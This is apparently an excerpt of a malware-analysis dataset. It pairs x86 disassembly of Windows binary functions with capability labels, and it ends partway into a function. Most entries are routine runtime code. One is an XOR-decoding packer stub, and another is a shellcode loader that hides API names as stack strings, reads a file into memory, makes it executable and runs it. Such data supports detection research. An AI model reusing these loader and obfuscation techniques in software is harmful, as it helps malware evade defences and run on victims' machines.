joyce8/EMBER2024-capa huggingface dataset:
Function at 0x443025
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0042abd0
mov eax, dword [0x4720c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0043fab2
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x443067
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4431c3
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0042ac00
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x474328]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.004441fb
mov ecx, dword [esi*4 + 0x474328]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x4431bc
cmp eax, dword [ecx + edi + 0x24]
jne 0x4431bc
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4431bc
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004441fb
add esp, 0x14
test edx, edx
jl 0x4431bc
jg 0x443132
test eax, eax
jb 0x4431bc
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4431bc
jl 0x44314c
cmp dword [ebp - 0x1008], eax
ja 0x4431bc
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x44316a
test ebx, ebx
je 0x4431a3
cmp ecx, edi
jae 0x4431a3
mov al, byte [ecx]
cmp al, 0xd
jne 0x443184
lea eax, [edi - 1]
cmp ecx, eax
jae 0x443190
cmp byte [ecx + 1], 0xa
jne 0x443190
inc ecx
jmp 0x443190
movzx eax, al
movsx eax, byte [eax + 0x472390]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x44316a
cmp edx, ebx
jne 0x44316a
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4431c1
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0042a768
leave
ret
Function at 0x443693
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x474328]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4436d3
cmp byte [ebx], 0xa
jne 0x4436d3
or byte [edi + eax + 0x28], 4
jmp 0x4436d8
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x4437d7
mov dl, byte [eax]
cmp dl, 0x1a
je 0x4437ba
inc eax
cmp dl, 0xd
je 0x443704
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x44372a
cmp eax, ecx
jae 0x443738
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x4436ec
jmp 0x4437d7
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4437b5
cmp dword [ebp - 0x10], 0
je 0x4437b5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x474328]
test byte [eax + edi + 0x28], 0x48
je 0x44378f
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x44377a
mov byte [esi], dl
jmp 0x44378b
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x474328]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4437d7
cmp byte [ebp - 1], 0xa
jne 0x44379e
cmp esi, ebx
jne 0x44379e
mov byte [esi], 0xa
jmp 0x4437d6
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00444219
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4437d7
mov byte [esi], 0xd
jmp 0x4437d6
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x474328]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4437d4
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4437d7
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4437e0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x474328]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x443826
cmp word [ebx], dx
jne 0x443826
or byte [eax + edi + 0x28], 4
jmp 0x44382b
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x44398e
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x44396e
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x44386c
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4438a2
cmp eax, edx
jae 0x4438b0
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x443847
jmp 0x44398e
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x443969
cmp dword [ebp - 0x18], 0
je 0x443969
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x474328]
test byte [eax + edi + 0x28], 0x48
je 0x44393f
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x443903
mov word [esi], cx
jmp 0x44393a
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x474328]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x474328]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x474328]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x44398e
pop eax
cmp word [ebp - 4], ax
jne 0x44394f
cmp esi, ebx
jne 0x44394f
mov word [esi], ax
jmp 0x44398b
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00444219
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x44398e
push 0xd
pop eax
jmp 0x44394a
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x474328]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x443988
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x44398e
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x447fff
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x44809c
push ebx
push esi
call fcn.00447fc8
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00446ed2
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x448049
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x44809b
push edi
push eax
call fcn.0043ec6e
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x448069
call fcn.0043ea37
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x44809a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00446ed2
add esp, 0x20
test eax, eax
jne 0x448088
push edi
call fcn.0043ea37
jmp 0x448090
push ebx
call fcn.0043ea37
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x44a98f
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0043e6e9
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x44a9fe
cmp esi, dword [ebp - 4]
je 0x44a9f9
cmp dword [ebp + 0xc], 0
je 0x44a9f9
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x44a9d6
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.0044a4cc
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x44aa00
xor eax, eax
inc eax
jmp 0x44aa00
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x44aa65
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x4720c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.0043e6e9
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0043e6e9
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x44aadc
cmp word [ecx], dx
je 0x44aadc
mov eax, dword [0x462264]
push edi
dec eax
push eax
push 0x462150
call fcn.0044aa04
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x44ab4f
cmp word [eax], dx
je 0x44ab4f
mov eax, dword [edi]
test eax, eax
je 0x44ab00
cmp word [eax], dx
je 0x44ab00
lea eax, [ebp - 0x10]
push eax
call fcn.0044a3d2
jmp 0x44ab09
lea eax, [ebp - 0x10]
push eax
call fcn.0044a46d
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x44ab79
mov eax, dword [0x46214c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x461e40
call fcn.0044aa04
add esp, 0xc
test al, al
je 0x44ab79
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x44ab44
cmp word [eax], di
je 0x44ab44
lea eax, [ebp - 0x10]
push eax
call fcn.0044a3d2
pop ecx
jmp 0x44ab7b
lea eax, [ebp - 0x10]
push eax
call fcn.0044a46d
jmp 0x44ab41
mov eax, dword [edi]
test eax, eax
je 0x44ab66
cmp word [eax], dx
je 0x44ab66
lea eax, [ebp - 0x10]
push eax
call fcn.0044a387
pop ecx
jmp 0x44ab79
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x44ac44
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.0044a889
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x44ac44
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x44ac44
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x44ac44
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x44abd1
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.0044170b
test ebx, ebx
je 0x44ac3f
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.0044170b
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x44ac44
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x44ac44
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.00440969
add esp, 0x10
xor eax, eax
inc eax
jmp 0x44ac46
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042a768
leave
ret
Function at 0x44f495
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.0044f411
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x44f604
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x44f604
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x44f5b9
jg 0x44f4f1
test eax, eax
je 0x44f5af
push 1
push 0x1000
call fcn.0043e9da
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x44f514
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x44f5a6
push 0x8000
push ebx
call fcn.0043c37e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x44f53d
jg 0x44f538
cmp ecx, 0x1000
jb 0x44f53d
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00442874
add esp, 0x10
cmp eax, 0xffffffff
je 0x44f582
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x44f538
jl 0x44f569
test ecx, ecx
jne 0x44f52a
push dword [ebp - 0xc]
push ebx
call fcn.0043c37e
push esi
call fcn.0043ea37
add esp, 0xc
xor ebx, ebx
jmp 0x44f612
cmp byte [edi + 0x24], 0
je 0x44f599
cmp dword [edi + 0x20], 5
jne 0x44f599
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x44f5a4
mov ebx, dword [edi + 0x18]
jmp 0x44f5a6
xor ebx, ebx
push esi
call fcn.0043ea37
pop ecx
jmp 0x44f612
test ecx, ecx
jg 0x44f57b
jl 0x44f5b9
test eax, eax
jae 0x44f57b
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00444219
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x44f5d9
cmp byte [edi + 0x1c], 0
je 0x44f57b
jmp 0x44f60a
push ebx
call fcn.00448a06
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x44f57b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x44f612
cmp byte [edi + 0x1c], 0
je 0x44f60f
mov ebx, dword [edi + 0x18]
jmp 0x44f612
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.00444219
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x44fb30
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x44fb5d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x44fb5d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..reloc
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x6a4f6a9f
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
mov esi, 0x754006ab
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x10001000
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
push ebx
push esi
push edi
xor eax, eax
je 0x10001013
adc dword [edx], esp
xor esi, dword [ebx]
fld xword [eax - 1]
add eax, dword [eax]
add byte [ebp - 0x43a7b], cl
call dword [ebx + 0x50]
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x43b]
push ebx
push eax
mov byte [ebp - 0x43c], bl
call fcn.100046e0
add esp, 0xc
push 0x400
lea eax, [ebp - 0x43c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [sym.imp.USER32.dll_EnumChildWindows]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x43c]
push 0x5c
push eax
call fcn.10001190
pop ecx
pop ecx
cmp eax, ebx
je 0x10001062
mov byte [eax + 1], bl
mov eax, str.rels
mov esi, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10001069
lea edi, [ebp - 0x43c]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x10001079
mov ecx, eax
shr ecx, 2
push ebx
rep movsd dword es:[edi], dword [esi]
push 0x80
push 3
push ebx
push ebx
mov ecx, eax
push 0x80000000
lea eax, [ebp - 0x43c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push eax
mov dword [ebp - 0x38], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x34], eax
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
nop
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov dword [ebp - 4], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
mov dword [ebp - 0x20], 0x74726956
mov dword [ebp - 0x1c], 0x416c6175
mov dword [ebp - 0x18], 0x636f6c6c
mov byte [ebp - 0x14], bl
call esi
push 4
push 0x1000
push dword [ebp - 0x34]
push ebx
call eax
push ebx
mov edi, eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x34]
push edi
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x38]
mov byte [edi], 0xb8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 4]
mov dword [ebp - 0x30], 0x74726956
mov dword [ebp - 0x2c], 0x506c6175
mov dword [ebp - 0x28], 0x65746f72
mov word [ebp - 0x24], 0x7463
mov byte [ebp - 0x22], bl
call esi
lea ecx, [ebp - 0xc]
push ecx
push 0x40
push dword [ebp - 0x34]
push edi
call eax
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 8], eax
push ebx
push edi
push ebx
call dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004096
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10009a80]
jne 0x100040a0
repz ret
jmp fcn.1000521d
Function at 0x10004eb2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10009a80]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000143a
and dword [ebp - 0x14], 0
cmp dword [0x1000a47c], 0
mov dword [ebp - 0x18], eax
jne 0x10004f65
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1000500d
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1000500d
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1000a47c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1000a480], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1000a484], eax
call edi
push eax
call esi
mov dword [0x1000a48c], eax
test eax, eax
je 0x10004f65
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1000a488], eax
mov eax, dword [0x1000a488]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10004fbe
cmp dword [0x1000a48c], ecx
je 0x10004fbe
push eax
call esi
push dword [0x1000a48c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10004fbe
test ebx, ebx
je 0x10004fbe
call edi
test eax, eax
je 0x10004fb5
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10004fb5
test byte [ebp - 8], 1
jne 0x10004fbe
or dword [ebp + 0x10], 0x200000
jmp 0x10004ff1
mov eax, dword [0x1000a480]
cmp eax, dword [ebp - 0x18]
je 0x10004ff1
push eax
call esi
test eax, eax
je 0x10004ff1
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10004ff1
mov eax, dword [0x1000a484]
cmp eax, dword [ebp - 0x18]
je 0x10004ff1
push eax
call esi
test eax, eax
je 0x10004ff1
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1000a47c]
call esi
test eax, eax
je 0x1000500d
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1000500f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004096
leave
ret
Function at 0x42f410
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], esi
mov esi, 1
mov dword [ebp - 0x10], 0
push 1
push 0x5077b0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x42f49c
mov eax, 0x51eb851f
mov ecx, esi
imul esi
sar edx, 5
mov eax, esi
sar ecx, 0x1f
sub edx, ecx
imul edi, edx, 0x64
sub eax, edi
jne 0x42f49c
cmp esi, 0x15f90
jl 0x42f493
cmp esi, 0x1d4c0
jge 0x42f470
mov eax, 0x32
jmp 0x42f495
cmp esi, 0x2bf20
jge 0x42f47f
mov eax, 0x64
jmp 0x42f495
mov eax, 0x1482
cmp esi, 0x57d78
jl 0x42f495
mov eax, 0xfa
jmp 0x42f495
xor eax, eax
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
test eax, eax
je 0x42f4b0
inc esi
cmp esi, 0x57e40
jl 0x42f428
mov eax, dword [ebp - 4]
test eax, eax
je 0x42f4ca
mov dword [ebp - 0x14], 0x98
lea eax, [ebp - 0x14]
push eax
call fcn.004480b0
add esp, 4
mov eax, dword [0x5077b4]
test eax, eax
jne 0x42f4f8
cmp dword [0x504b00], 1
je 0x42f538
xor edi, edi
xor esi, esi
call fcn.0042f5d0
mov dword [0x5077b4], 1
cmp dword [0x504b00], 1
je 0x42f523
mov dword [0x5077b0], 0
push dword [0x5077ac]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x42f553
mov edx, dword [ebp + 8]
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 8]
mov dword [edx], eax
xor eax, eax
mov esp, ebp
pop ebp
ret
push esi
push 2
call fcn.00478620
push edi
push 0x16
call fcn.00478620
add esp, 0x10
jmp 0x42f4f8
push 1
push 2
call fcn.00478620
mov esi, eax
push 1
push 0x16
call fcn.00478620
add esp, 0x10
mov edi, eax
jmp 0x42f4e0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0x70
call fcn.00438ab0
add esp, 0xc
test eax, eax
je 0x42f57d
mov edx, dword [ebp + 8]
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 8]
mov dword [edx], 0
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov edx, 0x70
mov ecx, dword [edx + 0x504a5c]
mov dword [eax + edx - 4], ecx
mov esi, dword [edx + 0x504a58]
mov dword [eax + edx - 8], esi
mov edi, dword [edx + 0x504a54]
mov dword [eax + edx - 0xc], edi
mov ecx, dword [edx + 0x504a50]
mov dword [eax + edx - 0x10], ecx
sub edx, 0x10
jne 0x42f585
push dword [ebp - 0x10]
push dword [0x5077ac]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov eax, dword [ebp - 0x10]
jmp 0x42f512

Function at 0x42f5d0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
